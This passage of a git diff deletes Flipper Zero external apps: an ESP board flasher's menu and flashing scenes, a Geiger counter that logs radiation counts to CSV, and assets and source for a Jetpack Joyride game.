app->selected_flash_options[SelectedFlashBoot] = true; - strncpy(app->bin_file_path_boot, boot, sizeof(app->bin_file_path_boot)); - } - if(part) { - app->selected_flash_options[SelectedFlashPart] = true; - strncpy(app->bin_file_path_part, part, sizeof(app->bin_file_path_part)); - } - if(app0) { - app->selected_flash_options[SelectedFlashBootApp0] = true; - strncpy(app->bin_file_path_boot_app0, app0, sizeof(app->bin_file_path_boot_app0)); - } - if(firm) { - app->selected_flash_options[SelectedFlashAppA] = true; - strncpy(app->bin_file_path_app_a, firm, sizeof(app->bin_file_path_app_a)); - } - - app->reset = false; - app->quickflash = true; - app->boot = enter_bootloader; - scene_manager_next_scene(app->scene_manager, EspFlasherSceneConsoleOutput); - } - } else if(event.type == SceneManagerEventTypeBack) { - uint32_t state = scene_manager_get_scene_state(app->scene_manager, EspFlasherSceneQuick); - if(state > QuickDevproWroom) - state = QuickDevproWroom; - else if(state > QuickWifidevS2) - state = QuickWifidevS2; - scene_manager_set_scene_state(app->scene_manager, EspFlasherSceneQuick, state); - } - - return consumed; -} - -void esp_flasher_scene_quick_on_exit(void* context) { - furi_assert(context); - - EspFlasherApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp_flasher/scenes/esp_flasher_scene_start.c b/applications/external/esp_flasher/scenes/esp_flasher_scene_start.c deleted file mode 100644 index a7db0e99a..000000000 --- a/applications/external/esp_flasher/scenes/esp_flasher_scene_start.c +++ /dev/null @@ -1,122 +0,0 @@ -#include "../esp_flasher_app_i.h" - -enum SubmenuIndex { - SubmenuIndexEspFlasherQuickFlash, - SubmenuIndexEspFlasherSwitchA, - SubmenuIndexEspFlasherSwitchB, - SubmenuIndexEspFlasherManualFlash, - SubmenuIndexEspFlasherReset, - SubmenuIndexEspFlasherBootloader, - SubmenuIndexEspFlasherAbout, -}; - -void esp_flasher_scene_start_submenu_callback(void* context, uint32_t index) { - furi_assert(context); - EspFlasherApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void esp_flasher_scene_start_on_enter(void* context) { - furi_assert(context); - - EspFlasherApp* app = context; - Submenu* submenu = app->submenu; - submenu_set_header(submenu, "ESP Flasher"); - submenu_add_item( - submenu, - "Quick Flash", - SubmenuIndexEspFlasherQuickFlash, - esp_flasher_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "Select Evil Portal (Fw A)", - SubmenuIndexEspFlasherSwitchA, - esp_flasher_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "Select Marauder (Fw B)", - SubmenuIndexEspFlasherSwitchB, - esp_flasher_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "Manual Flash", - SubmenuIndexEspFlasherManualFlash, - esp_flasher_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "Reset Board", - SubmenuIndexEspFlasherReset, - esp_flasher_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "Enter Bootloader", - SubmenuIndexEspFlasherBootloader, - esp_flasher_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "About", - SubmenuIndexEspFlasherAbout, - esp_flasher_scene_start_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, EspFlasherSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, EspFlasherAppViewSubmenu); -} - -bool esp_flasher_scene_start_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - EspFlasherApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexEspFlasherQuickFlash) { - scene_manager_next_scene(app->scene_manager, EspFlasherSceneQuick); - consumed = true; - } else if(event.event == SubmenuIndexEspFlasherSwitchA) { - app->boot = true; - app->quickflash = true; - app->switch_fw = SwitchToFirmwareA; - scene_manager_next_scene(app->scene_manager, EspFlasherSceneConsoleOutput); - consumed = true; - } else if(event.event == SubmenuIndexEspFlasherSwitchB) { - app->boot = true; - app->quickflash = true; - app->switch_fw = SwitchToFirmwareB; - scene_manager_next_scene(app->scene_manager, EspFlasherSceneConsoleOutput); - consumed = true; - } else if(event.event == SubmenuIndexEspFlasherManualFlash) { - scene_manager_next_scene(app->scene_manager, EspFlasherSceneBrowse); - consumed = true; - } else if(event.event == SubmenuIndexEspFlasherReset) { - app->reset = true; - scene_manager_next_scene(app->scene_manager, EspFlasherSceneConsoleOutput); - consumed = true; - } else if(event.event == SubmenuIndexEspFlasherBootloader) { - app->boot = true; - scene_manager_next_scene(app->scene_manager, EspFlasherSceneConsoleOutput); - consumed = true; - } else if(event.event == SubmenuIndexEspFlasherAbout) { - scene_manager_next_scene(app->scene_manager, EspFlasherSceneAbout); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, EspFlasherSceneStart, event.event); - } - - return consumed; -} - -void esp_flasher_scene_start_on_exit(void* context) { - furi_assert(context); - - EspFlasherApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/esp_flasher/update_10px.png b/applications/external/esp_flasher/update_10px.png deleted file mode 100644 index 5a97651c4..000000000 Binary files a/applications/external/esp_flasher/update_10px.png and /dev/null differ diff --git a/applications/external/geiger/application.fam b/applications/external/geiger/application.fam deleted file mode 100644 index 4721ff778..000000000 --- a/applications/external/geiger/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="flipper_geiger", - name="[J305] Geiger Counter", - apptype=FlipperAppType.EXTERNAL, - entry_point="flipper_geiger_app", - cdefines=["APP_GEIGER"], - requires=[ - "gui", - ], - stack_size=2 * 1024, - fap_icon="geiger.png", - fap_category="GPIO", - fap_author="@nmrr", - fap_weburl="https://github.com/nmrr/flipperzero-geigercounter", - fap_version="1.0", - fap_description="Works with J305 Geiger tube on external board", -) diff --git a/applications/external/geiger/flipper_geiger.c b/applications/external/geiger/flipper_geiger.c deleted file mode 100644 index 58ab08b0e..000000000 --- a/applications/external/geiger/flipper_geiger.c +++ /dev/null @@ -1,405 +0,0 @@ -// CC0 1.0 Universal (CC0 1.0) -// Public Domain Dedication -// https://github.com/nmrr - -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include - -#include - -#define SCREEN_SIZE_X 128 -#define SCREEN_SIZE_Y 64 - -// FOR J305 GEIGER TUBE -#define CONVERSION_FACTOR 0.0081 - -typedef enum { - EventTypeInput, - ClockEventTypeTick, - EventGPIO, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} EventApp; - -typedef struct { - FuriMutex* mutex; - uint32_t cps, cpm; - uint32_t line[SCREEN_SIZE_X]; - float coef; - uint8_t data; - uint8_t zoom; - uint8_t newLinePosition; - uint8_t version; -} mutexStruct; - -static void draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - - mutexStruct* mutexVal = ctx; - mutexStruct mutexDraw; - furi_mutex_acquire(mutexVal->mutex, FuriWaitForever); - memcpy(&mutexDraw, mutexVal, sizeof(mutexStruct)); - furi_mutex_release(mutexVal->mutex); - - if(mutexDraw.version == 0) { - char buffer[32]; - if(mutexDraw.data == 0) - snprintf(buffer, sizeof(buffer), "%ld cps - %ld cpm", mutexDraw.cps, mutexDraw.cpm); - else if(mutexDraw.data == 1) - snprintf( - buffer, - sizeof(buffer), - "%ld cps - %.2f uSv/h", - mutexDraw.cps, - ((double)mutexDraw.cpm * (double)CONVERSION_FACTOR)); - else if(mutexDraw.data == 2) - snprintf( - buffer, - sizeof(buffer), - "%ld cps - %.2f mSv/y", - mutexDraw.cps, - (((double)mutexDraw.cpm * (double)CONVERSION_FACTOR)) * (double)8.76); - else if(mutexDraw.data == 3) - snprintf( - buffer, - sizeof(buffer), - "%ld cps - %.4f Rad/h", - mutexDraw.cps, - ((double)mutexDraw.cpm * (double)CONVERSION_FACTOR) / (double)10000); - else if(mutexDraw.data == 4) - snprintf( - buffer, - sizeof(buffer), - "%ld cps - %.2f mR/h", - mutexDraw.cps, - ((double)mutexDraw.cpm * (double)CONVERSION_FACTOR) / (double)10); - else - snprintf( - buffer, - sizeof(buffer), - "%ld cps - %.2f uR/h", - mutexDraw.cps, - ((double)mutexDraw.cpm * (double)CONVERSION_FACTOR) * (double)100); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignBottom, buffer); - - uint8_t linePosition = mutexDraw.newLinePosition; - - if(mutexDraw.zoom == 0) { - for(int i = 0; i < SCREEN_SIZE_X; i += 8) { - if(linePosition != 0) - linePosition--; - else - linePosition = SCREEN_SIZE_X - 1; - - float Y = SCREEN_SIZE_Y - (mutexDraw.line[linePosition] * mutexDraw.coef); - for(int j = 0; j < 8; j++) - canvas_draw_line(canvas, i + j, Y, i + j, SCREEN_SIZE_Y); - } - } else if(mutexDraw.zoom == 1) { - for(int i = 0; i < SCREEN_SIZE_X; i += 4) { - if(linePosition != 0) - linePosition--; - else - linePosition = SCREEN_SIZE_X - 1; - - float Y = SCREEN_SIZE_Y - (mutexDraw.line[linePosition] * mutexDraw.coef); - for(int j = 0; j < 4; j++) - canvas_draw_line(canvas, i + j, Y, i + j, SCREEN_SIZE_Y); - } - } else if(mutexDraw.zoom == 2) { - for(int i = 0; i < SCREEN_SIZE_X; i += 2) { - if(linePosition != 0) - linePosition--; - else - linePosition = SCREEN_SIZE_X - 1; - - float Y = SCREEN_SIZE_Y - (mutexDraw.line[linePosition] * mutexDraw.coef); - for(int j = 0; j < 2; j++) - canvas_draw_line(canvas, i + j, Y, i + j, SCREEN_SIZE_Y); - } - } else if(mutexDraw.zoom == 3) { - for(int i = 0; i < SCREEN_SIZE_X; i++) { - if(linePosition != 0) - linePosition--; - else - linePosition = SCREEN_SIZE_X - 1; - - float Y = SCREEN_SIZE_Y - (mutexDraw.line[linePosition] * mutexDraw.coef); - canvas_draw_line(canvas, i, Y, i, SCREEN_SIZE_Y); - } - } - } else { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignBottom, "Geiger Counter"); - canvas_draw_str_aligned(canvas, 64, 20, AlignCenter, AlignBottom, "Version 20230806"); - canvas_draw_str_aligned(canvas, 64, 40, AlignCenter, AlignBottom, "github.com/nmrr"); - } -} - -static void input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - EventApp event = {.type = EventTypeInput, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void clock_tick(void* ctx) { - furi_assert(ctx); - - uint32_t randomNumber = furi_hal_random_get(); - randomNumber &= 0xFFF; - if(randomNumber == 0) randomNumber = 1; - - furi_hal_pwm_set_params(FuriHalPwmOutputIdLptim2PA4, randomNumber, 50); - - FuriMessageQueue* queue = ctx; - EventApp event = {.type = ClockEventTypeTick}; - furi_message_queue_put(queue, &event, 0); -} - -static void gpiocallback(void* ctx) { - furi_assert(ctx); - FuriMessageQueue* queue = ctx; - EventApp event = {.type = EventGPIO}; - furi_message_queue_put(queue, &event, 0); -} - -int32_t flipper_geiger_app() { - EventApp event; - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(EventApp)); - - furi_hal_gpio_init(&gpio_ext_pa7, GpioModeInterruptFall, GpioPullUp, GpioSpeedVeryHigh); - furi_hal_pwm_start(FuriHalPwmOutputIdLptim2PA4, 5, 50); - - mutexStruct mutexVal; - mutexVal.cps = 0; - mutexVal.cpm = 0; - for(int i = 0; i < SCREEN_SIZE_X; i++) mutexVal.line[i] = 0; - mutexVal.coef = 1; - mutexVal.data = 0; - mutexVal.zoom = 2; - mutexVal.newLinePosition = 0; - mutexVal.version = 0; - - uint32_t counter = 0; - - mutexVal.mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!mutexVal.mutex) { - furi_message_queue_free(event_queue); - return 255; - } - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, draw_callback, &mutexVal.mutex); - view_port_input_callback_set(view_port, input_callback, event_queue); - - furi_hal_gpio_add_int_callback(&gpio_ext_pa7, gpiocallback, event_queue); - - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - FuriTimer* timer = furi_timer_alloc(clock_tick, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, 1000); - - // ENABLE 5V pin - - // Enable 5v power, multiple attempts to avoid issues with power chip protection false triggering - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - - Storage* storage = furi_record_open(RECORD_STORAGE); - Stream* file_stream = buffered_file_stream_alloc(storage); - FuriString* dataString = furi_string_alloc(); - uint32_t epoch = 0; - uint8_t recordData = 0; - - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - - while(1) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, FuriWaitForever); - - uint8_t screenRefresh = 0; - - if(event_status == FuriStatusOk) { - if(event.type == EventTypeInput) { - if(event.input.key == InputKeyBack && event.input.type == InputTypeLong) { - break; - } else if(event.input.key == InputKeyOk && event.input.type == InputTypeLong) { - counter = 0; - furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); - - mutexVal.cps = 0; - mutexVal.cpm = 0; - for(uint8_t i = 0; i < SCREEN_SIZE_X; i++) mutexVal.line[i] = 0; - mutexVal.newLinePosition = 0; - - screenRefresh = 1; - furi_mutex_release(mutexVal.mutex); - } else if(event.input.key == InputKeyUp && event.input.type == InputTypeLong) { - if(recordData == 0) { - notification_message(notification, &sequence_set_only_red_255); - - FuriHalRtcDateTime datetime; - furi_hal_rtc_get_datetime(&datetime); - - char path[64]; - snprintf( - path, - sizeof(path), - EXT_PATH("/geiger-%.4d-%.2d-%.2d--%.2d-%.2d-%.2d.csv"), - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute, - datetime.second); - - buffered_file_stream_open( - file_stream, path, FSAM_WRITE, FSOM_CREATE_ALWAYS); - furi_string_printf(dataString, "epoch,cps\n"); - stream_write_string(file_stream, dataString); - epoch = 0; - recordData = 1; - } else { - buffered_file_stream_close(file_stream); - notification_message(notification, &sequence_reset_red); - recordData = 0; - } - } else if((event.input.key == InputKeyLeft && - event.input.type == InputTypeShort)) { - furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); - - if(mutexVal.data != 0) - mutexVal.data--; - else - mutexVal.data = 5; - - screenRefresh = 1; - furi_mutex_release(mutexVal.mutex); - } else if((event.input.key == InputKeyRight && - event.input.type == InputTypeShort)) { - furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); - - if(mutexVal.data != 5) - mutexVal.data++; - else - mutexVal.data = 0; - - screenRefresh = 1; - furi_mutex_release(mutexVal.mutex); - } else if((event.input.key == InputKeyUp && event.input.type == InputTypeShort)) { - furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); - if(mutexVal.zoom != 0) mutexVal.zoom--; - - screenRefresh = 1; - furi_mutex_release(mutexVal.mutex); - - } else if((event.input.key == InputKeyDown && - event.input.type == InputTypeShort)) { - furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); - if(mutexVal.zoom != 3) mutexVal.zoom++; - - screenRefresh = 1; - furi_mutex_release(mutexVal.mutex); - } else if((event.input.key == InputKeyDown && event.input.type == InputTypeLong)) { - furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); - if(mutexVal.version == 0) - mutexVal.version = 1; - else - mutexVal.version = 0; - - screenRefresh = 1; - furi_mutex_release(mutexVal.mutex); - } - } else if(event.type == ClockEventTypeTick) { - if(recordData == 1) { - furi_string_printf(dataString, "%lu,%lu\n", epoch++, counter); - stream_write_string(file_stream, dataString); - } - - furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); - - mutexVal.line[mutexVal.newLinePosition] = counter; - mutexVal.cps = counter; - counter = 0; - - mutexVal.cpm = mutexVal.line[mutexVal.newLinePosition]; - uint32_t max = mutexVal.line[mutexVal.newLinePosition]; - uint8_t linePosition = mutexVal.newLinePosition; - - for(int i = 1; i < SCREEN_SIZE_X; i++) { - if(linePosition != 0) - linePosition--; - else - linePosition = SCREEN_SIZE_X - 1; - - if(i < 60) mutexVal.cpm += mutexVal.line[linePosition]; - if(mutexVal.line[linePosition] > max) max = mutexVal.line[linePosition]; - } - - if(max > 0) - mutexVal.coef = ((float)(SCREEN_SIZE_Y - 15)) / ((float)max); - else - mutexVal.coef = 1; - - if(mutexVal.newLinePosition != SCREEN_SIZE_X - 1) - mutexVal.newLinePosition++; - else - mutexVal.newLinePosition = 0; - - screenRefresh = 1; - furi_mutex_release(mutexVal.mutex); - } else if(event.type == EventGPIO) { - counter++; - } - } - - if(screenRefresh == 1) view_port_update(view_port); - } - - if(recordData == 1) { - buffered_file_stream_close(file_stream); - notification_message(notification, &sequence_reset_red); - } - - furi_string_free(dataString); - furi_record_close(RECORD_NOTIFICATION); - stream_free(file_stream); - furi_record_close(RECORD_STORAGE); - - // Disable 5v power - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - - furi_hal_gpio_disable_int_callback(&gpio_ext_pa7); - furi_hal_gpio_remove_int_callback(&gpio_ext_pa7); - furi_hal_pwm_stop(FuriHalPwmOutputIdLptim2PA4); - furi_hal_gpio_init(&gpio_ext_pa7, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - - furi_message_queue_free(event_queue); - furi_mutex_free(mutexVal.mutex); - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - furi_timer_free(timer); - furi_record_close(RECORD_GUI); - - return 0; -} \ No newline at end of file diff --git a/applications/external/geiger/geiger.png b/applications/external/geiger/geiger.png deleted file mode 100644 index d41e1915b..000000000 Binary files a/applications/external/geiger/geiger.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/application.fam b/applications/external/jetpack_joyride/application.fam deleted file mode 100644 index bb4eaa8fb..000000000 --- a/applications/external/jetpack_joyride/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -# For details & more options, see documentation/AppManifests.md in firmware repo - -App( - appid="jetpack_joyride", - name="Jetpack Joyride", - apptype=FlipperAppType.EXTERNAL, - entry_point="jetpack_game_app", - cdefines=["APP_JETPACK_GAME"], - requires=["gui"], - stack_size=4 * 1024, - fap_icon="icon.png", - fap_category="Games", - fap_icon_assets="assets", -) diff --git a/applications/external/jetpack_joyride/assets/air_vent.png b/applications/external/jetpack_joyride/assets/air_vent.png deleted file mode 100644 index a7fcf0b20..000000000 Binary files a/applications/external/jetpack_joyride/assets/air_vent.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/alert/frame_01.png b/applications/external/jetpack_joyride/assets/alert/frame_01.png deleted file mode 100644 index ac4cca1b1..000000000 Binary files a/applications/external/jetpack_joyride/assets/alert/frame_01.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/alert/frame_02.png b/applications/external/jetpack_joyride/assets/alert/frame_02.png deleted file mode 100644 index c3955f090..000000000 Binary files a/applications/external/jetpack_joyride/assets/alert/frame_02.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/alert/frame_rate b/applications/external/jetpack_joyride/assets/alert/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/applications/external/jetpack_joyride/assets/alert/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/applications/external/jetpack_joyride/assets/barry/frame_01.png b/applications/external/jetpack_joyride/assets/barry/frame_01.png deleted file mode 100644 index 8abdcaf61..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry/frame_01.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/barry/frame_02.png b/applications/external/jetpack_joyride/assets/barry/frame_02.png deleted file mode 100644 index 5a4587ac8..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry/frame_02.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/barry/frame_03.png b/applications/external/jetpack_joyride/assets/barry/frame_03.png deleted file mode 100644 index d188aed3c..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry/frame_03.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/barry/frame_rate b/applications/external/jetpack_joyride/assets/barry/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/applications/external/jetpack_joyride/assets/barry/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/applications/external/jetpack_joyride/assets/barry_infill.png b/applications/external/jetpack_joyride/assets/barry_infill.png deleted file mode 100644 index 9462801f0..000000000 Binary files a/applications/external/jetpack_joyride/assets/barry_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/bg1.png b/applications/external/jetpack_joyride/assets/bg1.png deleted file mode 100644 index 82d614e1c..000000000 Binary files a/applications/external/jetpack_joyride/assets/bg1.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/bg2.png b/applications/external/jetpack_joyride/assets/bg2.png deleted file mode 100644 index ec8590d3a..000000000 Binary files a/applications/external/jetpack_joyride/assets/bg2.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/bg3.png b/applications/external/jetpack_joyride/assets/bg3.png deleted file mode 100644 index ebb1dd66b..000000000 Binary files a/applications/external/jetpack_joyride/assets/bg3.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/coin.png b/applications/external/jetpack_joyride/assets/coin.png deleted file mode 100644 index a2b5a409e..000000000 Binary files a/applications/external/jetpack_joyride/assets/coin.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/coin_infill.png b/applications/external/jetpack_joyride/assets/coin_infill.png deleted file mode 100644 index ab37874ff..000000000 Binary files a/applications/external/jetpack_joyride/assets/coin_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/dead_scientist.png b/applications/external/jetpack_joyride/assets/dead_scientist.png deleted file mode 100644 index cd7a9993a..000000000 Binary files a/applications/external/jetpack_joyride/assets/dead_scientist.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/dead_scientist_infill.png b/applications/external/jetpack_joyride/assets/dead_scientist_infill.png deleted file mode 100644 index 6f036fde2..000000000 Binary files a/applications/external/jetpack_joyride/assets/dead_scientist_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/door.png b/applications/external/jetpack_joyride/assets/door.png deleted file mode 100644 index 1ef861054..000000000 Binary files a/applications/external/jetpack_joyride/assets/door.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/missile/frame_01.png b/applications/external/jetpack_joyride/assets/missile/frame_01.png deleted file mode 100644 index f0b62ed03..000000000 Binary files a/applications/external/jetpack_joyride/assets/missile/frame_01.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/missile/frame_rate b/applications/external/jetpack_joyride/assets/missile/frame_rate deleted file mode 100644 index e440e5c84..000000000 --- a/applications/external/jetpack_joyride/assets/missile/frame_rate +++ /dev/null @@ -1 +0,0 @@ -3 \ No newline at end of file diff --git a/applications/external/jetpack_joyride/assets/missile_infill.png b/applications/external/jetpack_joyride/assets/missile_infill.png deleted file mode 100644 index d15f5a88e..000000000 Binary files a/applications/external/jetpack_joyride/assets/missile_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/pillar.png b/applications/external/jetpack_joyride/assets/pillar.png deleted file mode 100644 index 61979b393..000000000 Binary files a/applications/external/jetpack_joyride/assets/pillar.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_left.png b/applications/external/jetpack_joyride/assets/scientist_left.png deleted file mode 100644 index a9e880b6b..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_left.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_left_infill.png b/applications/external/jetpack_joyride/assets/scientist_left_infill.png deleted file mode 100644 index 4639cb957..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_left_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_right.png b/applications/external/jetpack_joyride/assets/scientist_right.png deleted file mode 100644 index dc40b560d..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_right.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/assets/scientist_right_infill.png b/applications/external/jetpack_joyride/assets/scientist_right_infill.png deleted file mode 100644 index e4bc7def8..000000000 Binary files a/applications/external/jetpack_joyride/assets/scientist_right_infill.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/icon.png b/applications/external/jetpack_joyride/icon.png deleted file mode 100644 index 0d2d6cf42..000000000 Binary files a/applications/external/jetpack_joyride/icon.png and /dev/null differ diff --git a/applications/external/jetpack_joyride/includes/background_asset.c b/applications/external/jetpack_joyride/includes/background_asset.c deleted file mode 100644 index 0a5ecdda9..000000000 --- a/applications/external/jetpack_joyride/includes/background_asset.c +++ /dev/null @@ -1,81 +0,0 @@ -#include - -#include "background_assets.h" - -static AssetProperties assetProperties[BG_ASSETS_MAX] = { - {.width = 27, .spawn_chance = 1, .x_offset = 24, .y_offset = 36, .sprite = &I_door}, - {.width = 12, .spawn_chance = 6, .x_offset = 33, .y_offset = 14, .sprite = &I_air_vent}}; - -void background_assets_tick(BackgroundAsset* const assets) { - // Move assets towards the player - for(int i = 0; i < BG_ASSETS_MAX; i++) { - if(assets[i].visible) { - assets[i].point.x -= 1; // move left by 2 units - if(assets[i].point.x <= - -assets[i].properties->width) { // if the asset is out of screen - assets[i].visible = false; // set asset x coordinate to 0 to mark it as "inactive" - } - } - } -} - -void spawn_random_background_asset(BackgroundAsset* const assets) { - // Calculate the total spawn chances for all assets - int total_spawn_chance = 0; - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - total_spawn_chance += assetProperties[i].spawn_chance; - } - - // Generate a random number between 0 and total_spawn_chance - int random_number = rand() % total_spawn_chance; - - // Select the asset based on the random number - int chosen_asset = -1; - int accumulated_chance = 0; - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - accumulated_chance += assetProperties[i].spawn_chance; - if(random_number < accumulated_chance) { - chosen_asset = i; - break; - } - } - - // If no asset is chosen, return - if(chosen_asset == -1) { - return; - } - - // Look for an available slot for the chosen asset - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - if(assets[i].visible == false) { - // Spawn the asset - assets[i].point.x = 127 + assetProperties[chosen_asset].x_offset; - assets[i].point.y = assetProperties[chosen_asset].y_offset; - assets[i].properties = &assetProperties[chosen_asset]; - assets[i].visible = true; - break; - } - } -} - -void draw_background_assets(const BackgroundAsset* assets, Canvas* const canvas, int distance) { - canvas_draw_box(canvas, 0, 6, 128, 1); - canvas_draw_box(canvas, 0, 56, 128, 2); - - // Calculate the pillar offset based on the traveled distance - int pillar_offset = distance % 64; - - // Draw pillars - for(int x = -pillar_offset; x < 128; x += 64) { - canvas_draw_icon(canvas, x, 6, &I_pillar); - } - - // Draw assets - for(int i = 0; i < BG_ASSETS_MAX; ++i) { - if(assets[i].visible) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon( - canvas, assets[i].point.x, assets[i].point.y, assets[i].properties->sprite); - } - } -} diff --git a/applications/external/jetpack_joyride/includes/background_assets.h b/applications/external/jetpack_joyride/includes/background_assets.h deleted file mode 100644 index 21721f03c..000000000 --- a/applications/external/jetpack_joyride/includes/background_assets.h +++ /dev/null @@ -1,35 +0,0 @@ -#ifndef BACKGROUND_ASSETS_H -#define BACKGROUND_ASSETS_H - -#include -#include - -#include - -#include "point.h" -#include "states.h" -#include "game_sprites.h" -#include "jetpack_joyride_icons.h" -#include - -#define BG_ASSETS_MAX 3 - -typedef struct { - int width; - int spawn_chance; - int x_offset; - int y_offset; - const Icon* sprite; -} AssetProperties; - -typedef struct { - POINT point; - AssetProperties* properties; - bool visible; -} BackgroundAsset; - -void background_assets_tick(BackgroundAsset* const assets); -void spawn_random_background_asset(BackgroundAsset* const assets); -void draw_background_assets(const BackgroundAsset* assets, Canvas* const canvas, int distance); - -#endif // BACKGROUND_ASSETS_H diff --git a/applications/external/jetpack_joyride/includes/barry.c b/applications/external/jetpack_joyride/includes/barry.c deleted file mode 100644 index 61d3a6fc4..000000000 --- a/applications/external/jetpack_joyride/includes/barry.c +++ /dev/null @@ -1,33 +0,0 @@ -#include "barry.h" -#include "game_sprites.h" - -#include -#include - -void barry_tick(BARRY* const barry) { - // Do jetpack things - if(barry->isBoosting) { - barry->gravity += GRAVITY_BOOST; // Increase upward momentum - } else { - barry->gravity += GRAVITY_FALL; // Increase downward momentum faster - } - - barry->point.y += barry->gravity; - - // Constrain barry's height within sprite_height and 64 - sprite_height - if(barry->point.y > (64 - BARRY_HEIGHT)) { - barry->point.y = 64 - BARRY_HEIGHT; - barry->gravity = 0; // stop upward momentum - } else if(barry->point.y < 0) { - barry->point.y = 0; - barry->gravity = 0; // stop downward momentum - } -} - -void draw_barry(const BARRY* barry, Canvas* const canvas, const GameSprites* sprites) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon_animation(canvas, barry->point.x, barry->point.y, sprites->barry); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon(canvas, barry->point.x, barry->point.y, sprites->barry_infill); -} \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/barry.h b/applications/external/jetpack_joyride/includes/barry.h deleted file mode 100644 index 494af434d..000000000 --- a/applications/external/jetpack_joyride/includes/barry.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef BARRY_H -#define BARRY_H - -#include - -#include -#include "point.h" -#include "game_sprites.h" - -#define GRAVITY_TICK 0.2 -#define GRAVITY_BOOST -0.4 -#define GRAVITY_FALL 0.3 - -typedef struct { - float gravity; - POINT point; - bool isBoosting; -} BARRY; - -void barry_tick(BARRY* const barry); -void draw_barry(const BARRY* barry, Canvas* const canvas, const GameSprites* sprites); - -#endif // BARRY_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/coin.c b/applications/external/jetpack_joyride/includes/coin.c deleted file mode 100644 index 485e55f1b..000000000 